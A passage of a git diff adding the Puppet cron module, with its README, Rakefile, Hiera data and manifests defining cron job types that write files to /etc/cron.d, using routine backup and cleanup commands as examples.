CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/utilities/unix/puppet_module/cron/README.md b/modules/utilities/unix/puppet_module/cron/README.md new file mode 100644 index 000000000..e8dab6e0f --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/README.md @@ -0,0 +1,396 @@ +# Puppet Cron Module + +[![License](https://img.shields.io/github/license/voxpupuli/puppet-cron.svg)](https://github.com/voxpupuli/puppet-cron/blob/master/LICENSE) +[![Build Status](https://travis-ci.org/voxpupuli/puppet-cron.png?branch=master)](https://travis-ci.org/voxpupuli/puppet-cron) +[![Puppet Forge](https://img.shields.io/puppetforge/v/puppet/cron.svg)](https://forge.puppetlabs.com/puppet/cron) +[![Puppet Forge - downloads](https://img.shields.io/puppetforge/dt/puppet/cron.svg)](https://forge.puppetlabs.com/puppet/cron) +[![Puppet Forge - scores](https://img.shields.io/puppetforge/f/puppet/cron.svg)](https://forge.puppetlabs.com/puppet/cron) + +## Notes + +This module manages cronjobs by placing files in `/etc/cron.d`. +rmueller-cron was a detached fork of [torrancew/puppet-cron](https://github.com/torrancew/puppet-cron) +After v1.0.0, the module was migrated to Vox Pupuli where it is now maintained and released under the [puppet](https://forge.puppet.com/puppet) namespace. + +The current version (starting with v1.0.0) of this module requires Puppet 4.9.1 or greater. +If you are using an older version of Puppet you can pin the version to v0.2.1 which was still compatible with much older Puppet versions. +You can browse the documentation of that version in the v0.2.x branch [here](https://github.com/voxpupuli/puppet-cron/tree/v0.2.x). + +This module supports configuration of cronjobs via Hiera as well. +For that you need to declare the `cron` class. + +This module defines the following types: + + * `cron::job` - basic job resource + * `cron::job::multiple` - basic job resource for multiple jobs per file + * `cron::hourly` - wrapper for hourly jobs + * `cron::daily` - wrapper for daily jobs + * `cron::weekly` - wrapper for weekly jobs + * `cron::monthly` - wrapper for monthly jobs + +## Installation + +As usual use `puppet module install puppet-cron` to install it. + +## Usage + +The title of the job (e.g. `cron::job { 'title':`) is completely arbitrary. However, there can only be one cron job by that name. +The file in `/etc/cron.d/` will be created with the `$title` as the file name. +Keep that in mind when choosing the name to avoid overwriting existing system cronjobs and use characters that don't cause problems when used in filenames. + +### cron + +If you want the class to automatically install the correct cron package you can declare the `cron` class. By default it will then install the right package. +If you want to use Hiera to configure your cronjobs, you must declare the `cron` class. + +You can disable the management of the cron package by setting the `manage_package` parameter to `false`. + +You can also specify a different cron package name via `package_name`. +By default we try to select the right one for your distribution. +But in some cases (e.g. Gentoo) you might want to overwrite it here. + +This class allows specifying the following parameter: + + * `manage_package` - optional - defaults to "true" + * `package_ensure` - optional - defaults to "installed" + * `package_name` - optional - defaults to OS specific default package name + * `service_name` - optional - defaults to OS specific default service name + * `manage_service` - optional - defaults to "true" + * `service_enable` - optional - defaults to "true" + * `service_ensure` - optional - defaults to "running" + * `manage_users_allow` - optional - defaults to false, whether to manage `/etc/cron.allow` + * `manage_users_deny` - optional - defaults to false, whether to manage `/etc/cron.deny` + * `users_allow` - optional - An array of users to add to `/etc/cron.allow` + * `users_deny` - optional - An array of users to add to `/etc/cron.deny` + + +Examples: + +```puppet + include cron +``` + +or: + +```puppet + class { 'cron': + manage_package => false, + } +``` + + +### cron::job + +`cron::job` creates generic jobs in `/etc/cron.d`. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `command` - required - the command to execute + * `minute` - optional - defaults to "\*" + * `hour` - optional - defaults to "\*" + * `date` - optional - defaults to "\*" + * `month` - optional - defaults to "\*" + * `weekday` - optional - defaults to "\*" + * `special` - optional - defaults to undef + * `user` - optional - defaults to "root" + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + * `description` - optional - defaults to undef + +Example: +This would create the file `/etc/cron.d/mysqlbackup` and run the command `mysqldump -u root mydb` as root at 2:40 AM every day: + +```puppet + cron::job { 'mysqlbackup': + minute => '40', + hour => '2', + date => '*', + month => '*', + weekday => '*', + user => 'root', + command => 'mysqldump -u root mydb', + environment => [ 'MAILTO=root', 'PATH="/usr/bin:/bin"', ], + description => 'Mysql backup', + } +``` + +Hiera example: + +```yaml +--- +cron::job: + 'mysqlbackup': + command: 'mysqldump -u root mydb' + minute: 0 + hour: 0 + date: '*' + month: '*' + weekday: '*' + user: root + environment: + - 'MAILTO=root' + - 'PATH="/usr/bin:/bin"' + description: 'Mysql backup' +``` + +### cron::job::multiple + +`cron:job::multiple` creates a file in `/etc/cron.d` with multiple cron jobs configured in it. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `jobs` - required - an array of hashes of multiple cron jobs using a similar structure as `cron::job`-parameters + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + +And the keys of the jobs hash are: + + * `command` - required - the command to execute + * `minute` - optional - defaults to "\*" + * `hour` - optional - defaults to "\*" + * `date` - optional - defaults to "\*" + * `month` - optional - defaults to "\*" + * `weekday` - optional - defaults to "\*" + * `special` - optional - defaults to undef + * `user` - optional - defaults to "root" + * `description` - optional - defaults to undef + +Example: + +```puppet +cron::job::multiple { 'test_cron_job_multiple': + jobs => [ + { + minute => '55', + hour => '5', + date => '*', + month => '*', + weekday => '*', + user => 'rmueller', + command => '/usr/bin/uname', + description => 'print system information', + }, + { + command => '/usr/bin/sleep 1', + description => 'Sleeping', + }, + { + command => '/usr/bin/sleep 10', + special => 'reboot', + }, + ], + environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ], +} + +``` + +Hiera example: + +```yaml +--- +cron::job::multiple: + 'test_cron_job_multiple': + jobs: + - { + minute: 55, + hour: 5, + date: '*', + month: '*', + weekday: '*', + user: rmueller, + command: '/usr/bin/uname', + description: 'print system information', + } + - { + command: '/usr/bin/sleep 1', + description: 'Sleeping', + } + - { + command: '/usr/bin/sleep 10', + special: 'reboot', + } + + environment: + - 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' +``` + +That will generate the file `/etc/cron.d/test_cron_job_multiple` with essentially this content: + +``` +PATH="/usr/sbin:/usr/bin:/sbin:/bin" + +55 5 * * * rmueller /usr/bin/uname +* * * * * root /usr/bin/sleep 1 +@reboot root /usr/bin/sleep 10 +``` + +### cron::hourly + +`cron::hourly` creates jobs in `/etc/cron.d` that run once per hour. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `command` - required - the command to execute + * `minute` - optional - defaults to "0" + * `user` - optional - defaults to "root" + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + * `description` - optional - defaults to undef + +Example: +This would create the file `/etc/cron.d/mysqlbackup_hourly` and run the command `mysqldump -u root mydb` as root on the 20th minute of every hour: + +```puppet + cron::hourly { 'mysqlbackup_hourly': + minute => '20', + user => 'root', + command => 'mysqldump -u root mydb', + environment => [ 'MAILTO=root', 'PATH="/usr/bin:/bin"', ], + } +``` + +Hiera example: + +```yaml +--- +cron::hourly: + 'mysqlbackup_hourly': + minute: 20 + user: root + command: 'mysqldump -u root mydb' + environment: + - 'MAILTO=root' + - 'PATH="/usr/bin:/bin"' +``` + +### cron::daily + +`cron::daily` creates jobs in `/etc/cron.d` that run once per day. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `command` - required - the command to execute + * `minute` - optional - defaults to "0" + * `hour` - optional - defaults to "0" + * `user` - optional - defaults to "root" + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + * `description` - optional - defaults to undef + +Example: +This would create the file `/etc/cron.d/mysqlbackup_daily` and run the command `mysqldump -u root mydb` as root at 2:40 AM every day, like the above generic example: + +```puppet + cron::daily { 'mysqlbackup_daily': + minute => '40', + hour => '2', + user => 'root', + command => 'mysqldump -u root mydb', + } +``` + +Hiera example: + +```yaml +--- +cron::daily: + 'mysqlbackup_daily': + minute: 40 + hour: 2 + user: root + command: 'mysqldump -u root mydb' +``` + + +### cron::weekly + +`cron::weekly` creates jobs in `/etc/cron.d` that run once per week. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `command` - required - the command to execute + * `minute` - optional - defaults to "0" + * `hour` - optional - defaults to "0" + * `weekday` - optional - defaults to "0" + * `user` - optional - defaults to "root" + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + * `description` - optional - defaults to undef + +Example: +This would create the file `/etc/cron.d/mysqlbackup_weekly` and run the command `mysqldump -u root mydb` as root at 4:40 AM every Sunday, like the above generic example: + +```puppet + cron::weekly { 'mysqlbackup_weekly': + minute => '40', + hour => '4', + weekday => '0', + user => 'root', + command => 'mysqldump -u root mydb', + } +``` + +Hiera example: + +```yaml +--- +cron::weekly: + 'mysqlbackup_weekly': + minute: 40 + hour: 4 + weekday: 0 + user: root + command: 'mysqldump -u root mydb' +``` + + +### cron::monthly + +`cron::monthly` creates jobs in `/etc/cron.d` that run once per month. +It allows specifying the following parameters: + + * `ensure` - optional - defaults to "present" + * `command` - required - the command to execute + * `minute` - optional - defaults to "0" + * `hour` - optional - defaults to "0" + * `date` - optional - defaults to "1" + * `user` - optional - defaults to "root" + * `environment` - optional - defaults to "" + * `mode` - optional - defaults to "0644" + * `description` - optional - defaults to undef + +Example: +This would create the file `/etc/cron.d/mysqlbackup_monthly` and run the command `mysqldump -u root mydb` as root at 3:40 AM the 1st of every month, like the above generic example: + +```puppet + cron::monthly { 'mysqlbackup_monthly': + minute => '40', + hour => '3', + date => '1', + user => 'root', + command => 'mysqldump -u root mydb', + } +``` + +Hiera example: + +```yaml +--- +cron::monthly: + 'mysqlbackup_monthly': + minute: 40 + hour: 3 + date: 1 + user: root + command: 'mysqldump -u root mydb' +``` + + +## Contributors + + * Kevin Goess (@kgoess) - Environment variable support + fixes + * Andy Shinn (@andyshinn) - RedHat derivatives package name fix + * Chris Weyl (@RsrchBoy) - Fixed Puppet 3.2 deprecation warnings + * Mathew Archibald (@mattyindustries) - Fixed file ownership issues + * The Community - Continued improvement of this module via bugs and patches + diff --git a/modules/utilities/unix/puppet_module/cron/Rakefile b/modules/utilities/unix/puppet_module/cron/Rakefile new file mode 100644 index 000000000..279580ac6 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/Rakefile @@ -0,0 +1,92 @@ +require 'puppetlabs_spec_helper/rake_tasks' + +# load optional tasks for releases +# only available if gem group releases is installed +begin + require 'puppet_blacksmith/rake_tasks' + require 'voxpupuli/release/rake_tasks' + require 'puppet-strings/tasks' +rescue LoadError +end + +PuppetLint.configuration.log_format = '%{path}:%{line}:%{check}:%{KIND}:%{message}' +PuppetLint.configuration.fail_on_warnings = true +PuppetLint.configuration.send('relative') +PuppetLint.configuration.send('disable_140chars') +PuppetLint.configuration.send('disable_class_inherits_from_params_class') +PuppetLint.configuration.send('disable_documentation') +PuppetLint.configuration.send('disable_single_quote_string_with_variables') + +exclude_paths = %w( + pkg/**/* + vendor/**/* + .vendor/**/* + spec/**/* +) +PuppetLint.configuration.ignore_paths = exclude_paths +PuppetSyntax.exclude_paths = exclude_paths + +desc 'Auto-correct puppet-lint offenses' +task 'lint:auto_correct' do + PuppetLint.configuration.fix = true + Rake::Task[:lint].invoke +end + +desc 'Run acceptance tests' +RSpec::Core::RakeTask.new(:acceptance) do |t| + t.pattern = 'spec/acceptance' +end + +desc 'Run tests metadata_lint, release_checks' +task test: [ + :metadata_lint, + :release_checks, +] + +desc "Run main 'test' task and report merged results to coveralls" +task test_with_coveralls: [:test] do + if Dir.exist?(File.expand_path('../lib', __FILE__)) + require 'coveralls/rake/task' + Coveralls::RakeTask.new + Rake::Task['coveralls:push'].invoke + else + puts 'Skipping reporting to coveralls. Module has no lib dir' + end +end + +desc "Print supported beaker sets" +task 'beaker_sets', [:directory] do |t, args| + directory = args[:directory] + + metadata = JSON.load(File.read('metadata.json')) + + (metadata['operatingsystem_support'] || []).each do |os| + (os['operatingsystemrelease'] || []).each do |release| + if directory + beaker_set = "#{directory}/#{os['operatingsystem'].downcase}-#{release}" + else + beaker_set = "#{os['operatingsystem'].downcase}-#{release}-x64" + end + + filename = "spec/acceptance/nodesets/#{beaker_set}.yml" + + puts beaker_set if File.exists? filename + end + end +end + +begin + require 'github_changelog_generator/task' + GitHubChangelogGenerator::RakeTask.new :changelog do |config| + version = (Blacksmith::Modulefile.new).version + config.future_release = "v#{version}" if version =~ /^\d+\.\d+.\d+$/ + config.header = "# Changelog\n\nAll notable changes to this project will be documented in this file.\nEach new release typically also includes the latest modulesync defaults.\nThese should not affect the functionality of the module." + config.exclude_labels = %w{duplicate question invalid wontfix wont-fix modulesync skip-changelog} + config.user = 'voxpupuli' + metadata_json = File.join(File.dirname(__FILE__), 'metadata.json') + metadata = JSON.load(File.read(metadata_json)) + config.project = metadata['name'] + end +rescue LoadError +end +# vim: syntax=ruby diff --git a/modules/utilities/unix/puppet_module/cron/cron.pp b/modules/utilities/unix/puppet_module/cron/cron.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/puppet_module/cron/data/common.yaml b/modules/utilities/unix/puppet_module/cron/data/common.yaml new file mode 100644 index 000000000..cf59651e4 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/data/common.yaml @@ -0,0 +1,10 @@ +--- + +cron::package_name: cron +cron::service_name: cron + +lookup_options: + cron::users_allow: + merge: unique + cron::users_deny: + merge: unique diff --git a/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml b/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml new file mode 100644 index 000000000..80010eaf5 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml @@ -0,0 +1,2 @@ +--- +cron::package_name: virtual/cron diff --git a/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml b/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml new file mode 100644 index 000000000..85493cf61 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml @@ -0,0 +1,3 @@ +--- +cron::package_name: cronie +cron::service_name: crond diff --git a/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml b/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml new file mode 100644 index 000000000..84e702091 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml @@ -0,0 +1,3 @@ +--- +cron::package_name: vixie-cron + diff --git a/modules/utilities/unix/puppet_module/cron/hiera.yaml b/modules/utilities/unix/puppet_module/cron/hiera.yaml new file mode 100644 index 000000000..6ac3db59b --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/hiera.yaml @@ -0,0 +1,14 @@ +--- +version: 5 +defaults: + datadir: data + data_hash: yaml_data +hierarchy: + + - name: "Operating system" + paths: + - "os/%{facts.os.family}/%{facts.os.release.major}.yaml" + - "os/%{facts.os.family}.yaml" + + - name: "common" + path: "common.yaml" diff --git a/modules/utilities/unix/puppet_module/cron/manifests/.gitkeep b/modules/utilities/unix/puppet_module/cron/manifests/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/puppet_module/cron/manifests/daily.pp b/modules/utilities/unix/puppet_module/cron/manifests/daily.pp new file mode 100644 index 000000000..43207e266 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/daily.pp @@ -0,0 +1,63 @@ +# Type: cron::daily +# +# This type creates a daily cron job via a file in /etc/cron.d +# +# Parameters: +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# minute - The minute the cron job should fire on. Can be any valid cron +# minute value. +# Defaults to '0'. +# hour - The hour the cron job should fire on. Can be any valid cron hour +# value. +# Defaults to '0'. +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# user - The user the cron job should be executed as. +# Defaults to 'root'. +# mode - The mode to set on the created job file +# Defaults to 0644. +# description - Optional short description, which will be included in the +# cron job file. +# Defaults to undef. +# command - The command to execute. +# +# Actions: +# +# Requires: +# +# Sample Usage: +# cron::daily { 'mysql_backup': +# minute => '1', +# hour => '3', +# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ], +# command => 'mysqldump -u root my_db >/backups/my_db.sql', +# } +# +define cron::daily ( + Optional[String[1]] $command = undef, + Enum['absent','present'] $ensure = 'present', + Variant[Integer,String[1]] $minute = 0, + Variant[Integer,String[1]] $hour = 0, + Array[String] $environment = [], + String[1] $user = 'root', + String[4,4] $mode = '0644', + Optional[String] $description = undef, +) { + + cron::job { $title: + ensure => $ensure, + minute => $minute, + hour => $hour, + date => '*', + month => '*', + weekday => '*', + user => $user, + environment => $environment, + mode => $mode, + command => $command, + description => $description, + } + +} + diff --git a/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp b/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp new file mode 100644 index 000000000..66d97b402 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp @@ -0,0 +1,58 @@ +# Type: cron::hourly +# +# This type creates an hourly cron job via a file in /etc/cron.d +# +# Parameters: +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# minute - The minute the cron job should fire on. Can be any valid cron +# minute value. +# Defaults to '0'. +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# mode - The mode to set on the created job file. +# Defaults to 0644. +# user - The user the cron job should be executed as. +# Defaults to 'root'. +# description - Optional short description, which will be included in the +# cron job file. +# Defaults to undef. +# command - The command to execute. +# +# Actions: +# +# Requires: +# +# Sample Usage: +# cron::hourly { 'generate_puppetdoc': +# minute => '1', +# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ], +# command => 'puppet doc >/var/www/puppet_docs.mkd', +# } +# +define cron::hourly ( + Optional[String[1]] $command = undef, + Enum['absent','present'] $ensure = 'present', + Variant[Integer,String[1]] $minute = 0, + Array[String] $environment = [], + String[1] $user = 'root', + String[4,4] $mode = '0644', + Optional[String] $description = undef, +) { + + cron::job { $title: + ensure => $ensure, + minute => $minute, + hour => '*', + date => '*', + month => '*', + weekday => '*', + user => $user, + environment => $environment, + mode => $mode, + command => $command, + description => $description, + } + +} + diff --git a/modules/utilities/unix/puppet_module/cron/manifests/init.pp b/modules/utilities/unix/puppet_module/cron/manifests/init.pp new file mode 100644 index 000000000..f09413fcd --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/init.pp @@ -0,0 +1,131 @@ +# Class: cron +# +# This class wraps *cron::install* for ease of use +# +# Parameters: +# manage_package - Can be set to disable package installation. +# Set to true to manage it, false to not manage it. +# Default: true +# +# package_ensure - Can be set to a package version, 'latest', 'installed' or +# 'present'. +# Default: installed +# +# package_name - Can be set to install a different cron package. +# Default: see params.pp +# +# service_name - Can be set to define a different cron service name. +# Default: see params.pp +# +# manage_service - Defines if puppet should manage the service. +# Default: true +# +# service_enable - Defines if the service should be enabled at boot. +# Default: true + +# service_ensure - Defines if the service should be running. +# Default: running +# +# Sample Usage: +# include 'cron' +# or: +# class { 'cron': +# manage_package => false, +# } +# +class cron ( + String[1] $service_name, + String[1] $package_name, + Boolean $manage_package = true, + Boolean $manage_service = true, + Variant[ + Boolean, + Enum[ + 'running', + 'stopped', + ] + ] $service_ensure = 'running', + Variant[ + Boolean, + Enum[ + 'manual', + 'mask', + ] + ] $service_enable = true, + String[1] $package_ensure = 'installed', + Array[String] $users_allow = [], + Array[String] $users_deny = [], + Boolean $manage_users_allow = false, + Boolean $manage_users_deny = false, +) { + + contain '::cron::install' + contain '::cron::service' + + Class['cron::install'] -> Class['cron::service'] + + # Manage cron.allow and cron.deny + if $manage_users_allow { + file { '/etc/cron.allow': + ensure => file, + owner => 'root', + group => 'root', + content => epp('cron/users.epp', { 'users' => $users_allow }), + } + } + + if $manage_users_deny { + file { '/etc/cron.deny': + ensure => file, + owner => 'root', + group => 'root', + content => epp('cron/users.epp', { 'users' => $users_deny }), + } + } + + + # Create jobs from hiera + + $cron_job = lookup('cron::job', Optional[Hash], 'hash', {}) + $cron_job.each | String $t, Hash $params | { + cron::job { $t: + * => $params, + } + } + + $cron_job_multiple = lookup('cron::job::multiple', Optional[Hash], 'hash', {}) + $cron_job_multiple.each | String $t, Hash $params | { + cron::job::multiple { $t: + * => $params, + } + } + + $cron_hourly = lookup('cron::hourly', Optional[Hash], 'hash', {}) + $cron_hourly.each | String $t, Hash $params | { + cron::hourly { $t: + * => $params, + } + } + + $cron_daily = lookup('cron::daily', Optional[Hash], 'hash', {}) + $cron_daily.each | String $t, Hash $params | { + cron::daily { $t: + * => $params, + } + } + + $cron_weekly = lookup('cron::weekly', Optional[Hash], 'hash', {}) + $cron_weekly.each | String $t, Hash $params | { + cron::weekly { $t: + * => $params, + } + } + + $cron_monthly = lookup('cron::monthly', Optional[Hash], 'hash', {}) + $cron_monthly.each | String $t, Hash $params | { + cron::monthly { $t: + * => $params, + } + } + +} diff --git a/modules/utilities/unix/puppet_module/cron/manifests/install.pp b/modules/utilities/unix/puppet_module/cron/manifests/install.pp new file mode 100644 index 000000000..1e2b81578 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/install.pp @@ -0,0 +1,15 @@ +# == Class: cron::install +# +# This class ensures that the distro-appropriate cron package is installed +# +# This class should not be used directly under normal circumstances +# Instead, use the *cron* class. +# +class cron::install { + if $::cron::manage_package { + package { 'cron': + ensure => $::cron::package_ensure, + name => $::cron::package_name, + } + } +} diff --git a/modules/utilities/unix/puppet_module/cron/manifests/job.pp b/modules/utilities/unix/puppet_module/cron/manifests/job.pp new file mode 100644 index 000000000..ab7ffadec --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/job.pp @@ -0,0 +1,78 @@ +# Type: cron::job +# +# This type creates a cron job via a file in /etc/cron.d +# +# Parameters: +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# minute - The minute the cron job should fire on. Can be any valid cron +# minute value. +# Defaults to '*'. +# hour - The hour the cron job should fire on. Can be any valid cron hour +# value. +# Defaults to '*'. +# date - The date the cron job should fire on. Can be any valid cron date +# value. +# Defaults to '*'. +# month - The month the cron job should fire on. Can be any valid cron month +# value. +# Defaults to '*'. +# weekday - The day of the week the cron job should fire on. Can be any valid +# cron weekday value. +# Defaults to '*'. +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# mode - The mode to set on the created job file +# Defaults to 0644. +# user - The user the cron job should be executed as. +# Defaults to 'root'. +# description - Optional short description, which will be included in the +# cron job file. +# Defaults to undef. +# command - The command to execute. +# +# Actions: +# +# Requires: +# +# Sample Usage: +# cron::job { 'generate_puppetdoc': +# minute => '01', +# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ], +# command => 'puppet doc /etc/puppet/modules >/var/www/puppet_docs.mkd', +# } +# +define cron::job ( + Optional[String[1]] $command = undef, + Enum['absent','present'] $ensure = 'present', + Variant[Integer,String[1]] $minute = '*', + Variant[Integer,String[1]] $hour = '*', + Variant[Integer,String[1]] $date = '*', + Variant[Integer,String[1]] $month = '*', + Variant[Integer,String[1]] $weekday = '*', + Optional[String[1]] $special = undef, + Array[String] $environment = [], + String[1] $user = 'root', + String[4,4] $mode = '0644', + Optional[String] $description = undef, +) { + + case $ensure { + 'absent': { + file { "job_${title}": + ensure => 'absent', + path => "/etc/cron.d/${title}", + } + } + default: { + file { "job_${title}": + ensure => 'file', + owner => 'root', + group => 'root', + mode => $mode, + path => "/etc/cron.d/${title}", + content => template('cron/job.erb'), + } + } + } +} diff --git a/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp b/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp new file mode 100644 index 000000000..e746f8740 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp @@ -0,0 +1,79 @@ +# Type: cron::job::multiple +# +# This type creates multiple cron jobs via a single file in /etc/cron.d/ +# +# Parameters: +# jobs - required - a hash of multiple cron jobs using the same structure as +# cron::job and using the same defaults for each parameter. +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# mode - The mode to set on the created job file +# Defaults to 0644. +# +# Sample Usage: +# +# cron::job::multiple { 'test': +# jobs => [ +# { +# minute => '55', +# hour => '5', +# date => '*', +# month => '*', +# weekday => '*', +# user => 'rmueller', +# command => '/usr/bin/uname', +# }, +# { +# command => '/usr/bin/sleep 1', +# }, +# { +# command => '/usr/bin/sleep 10', +# special => 'reboot', +# }, +# ], +# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ], +# } +# +# This will generate those three cron jobs in `/etc/cron.d/test`: +# 55 5 * * * rmueller /usr/bin/uname +# * * * * * root /usr/bin/sleep 1 +# @reboot root /usr/bin/sleep 10 +# +define cron::job::multiple( + Array[Struct[{ + Optional['command'] => String[1], + Optional['minute'] => Variant[Integer,String[1]], + Optional['hour'] => Variant[Integer,String[1]], + Optional['date'] => Variant[Integer,String[1]], + Optional['month'] => Variant[Integer,String[1]], + Optional['weekday'] => Variant[Integer,String[1]], + Optional['special'] => String[1], + Optional['environment'] => Array[String], + Optional['user'] => String[1], + Optional['description'] => String, + }]] $jobs, + Enum['absent','present'] $ensure = 'present', + Array[String] $environment = [], + String[4,4] $mode = '0644', +) { + case $ensure { + 'absent': { + file { "job_${title}": + ensure => absent, + path => "/etc/cron.d/${title}", + } + } + default: { + file { "job_${title}": + ensure => $ensure, + owner => 'root', + group => 'root', + mode => $mode, + path => "/etc/cron.d/${title}", + content => template('cron/multiple.erb'), + } + } + } +} diff --git a/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp b/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp new file mode 100644 index 000000000..db0bdb213 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp @@ -0,0 +1,68 @@ +# Type: cron::monthly +# +# This type creates a monthly cron job via a file in /etc/cron.d +# +# Parameters: +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# minute - The minute the cron job should fire on. Can be any valid cron +# minute value. +# Defaults to '0'. +# hour - The hour the cron job should fire on. Can be any valid cron hour +# value. +# Defaults to '0'. +# date - The date the cron job should fire on. Can be any valid cron date +# value. +# Defaults to '1'. +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# user - The user the cron job should be executed as. +# Defaults to 'root'. +# mode - The mode to set on the created job file +# Defaults to 0644. +# description - Optional short description, which will be included in the +# cron job file. +# Defaults to undef. +# command - The command to execute. +# +# Actions: +# +# Requires: +# +# Sample Usage: +# cron::monthly { 'delete_old_log_files': +# minute => '1', +# hour => '7', +# date => '28', +# environment => [ 'MAILTO="admin@example.com"' ], +# command => 'find /var/log -type f -ctime +30 -delete', +# } +# +define cron::monthly ( + Optional[String[1]] $command = undef, + Enum['absent','present'] $ensure = 'present', + Variant[Integer,String[1]] $minute = 0, + Variant[Integer,String[1]] $hour = 0, + Variant[Integer,String[1]] $date = 1, + Array[String] $environment = [], + String[1] $user = 'root', + String[4,4] $mode = '0644', + Optional[String] $description = undef, +) { + + cron::job { $title: + ensure => $ensure, + minute => $minute, + hour => $hour, + date => $date, + month => '*', + weekday => '*', + user => $user, + environment => $environment, + mode => $mode, + command => $command, + description => $description, + } + +} + diff --git a/modules/utilities/unix/puppet_module/cron/manifests/service.pp b/modules/utilities/unix/puppet_module/cron/manifests/service.pp new file mode 100644 index 000000000..185e63fca --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/service.pp @@ -0,0 +1,15 @@ +# Class: cron::service +# +# This class managed the cron service +# +# This class should not be used directly under normal circumstances +# Instead, use the *cron* class. +# +class cron::service { + if $::cron::manage_service { + service { $::cron::service_name: + ensure => $::cron::service_ensure, + enable => $::cron::service_enable, + } + } +} diff --git a/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp b/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp new file mode 100644 index 000000000..db87e5f2b --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp @@ -0,0 +1,68 @@ +# Type: cron::weekly +# +# This type creates a cron job via a file in /etc/cron.d +# +# Parameters: +# ensure - The state to ensure this resource exists in. Can be absent, present +# Defaults to 'present' +# minute - The minute the cron job should fire on. Can be any valid cron +# minute value. +# Defaults to '0'. +# hour - The hour the cron job should fire on. Can be any valid cron hour +# value. +# Defaults to '0'. +# weekday - The day of the week the cron job should fire on. Can be any valid +# cron weekday value. +# Defaults to '0'. +# environment - An array of environment variable settings. +# Defaults to an empty set ([]). +# user - The user the cron job should be executed as. +# Defaults to 'root'. +# mode - The mode to set on the created job file +# Defaults to '0640'. +# description - Optional short description, which will be included in the +# cron job file. +# Defaults to undef. +# command - The command to execute. +# +# Actions: +# +# Requires: +# +# Sample Usage: +# cron::weekly { 'delete_old_temp_files': +# minute => '1', +# hour => '4', +# weekday => '7', +# environment => [ 'MAILTO="admin@example.com"' ], +# command => 'find /tmp -type f -ctime +7 -delete', +# } +# +define cron::weekly ( + Optional[String[1]] $command = undef, + Enum['absent','present'] $ensure = 'present', + Variant[Integer,String[1]] $minute = 0, + Variant[Integer,String[1]] $hour = 0, + Variant[Integer,String[1]] $weekday = 0, + String[1] 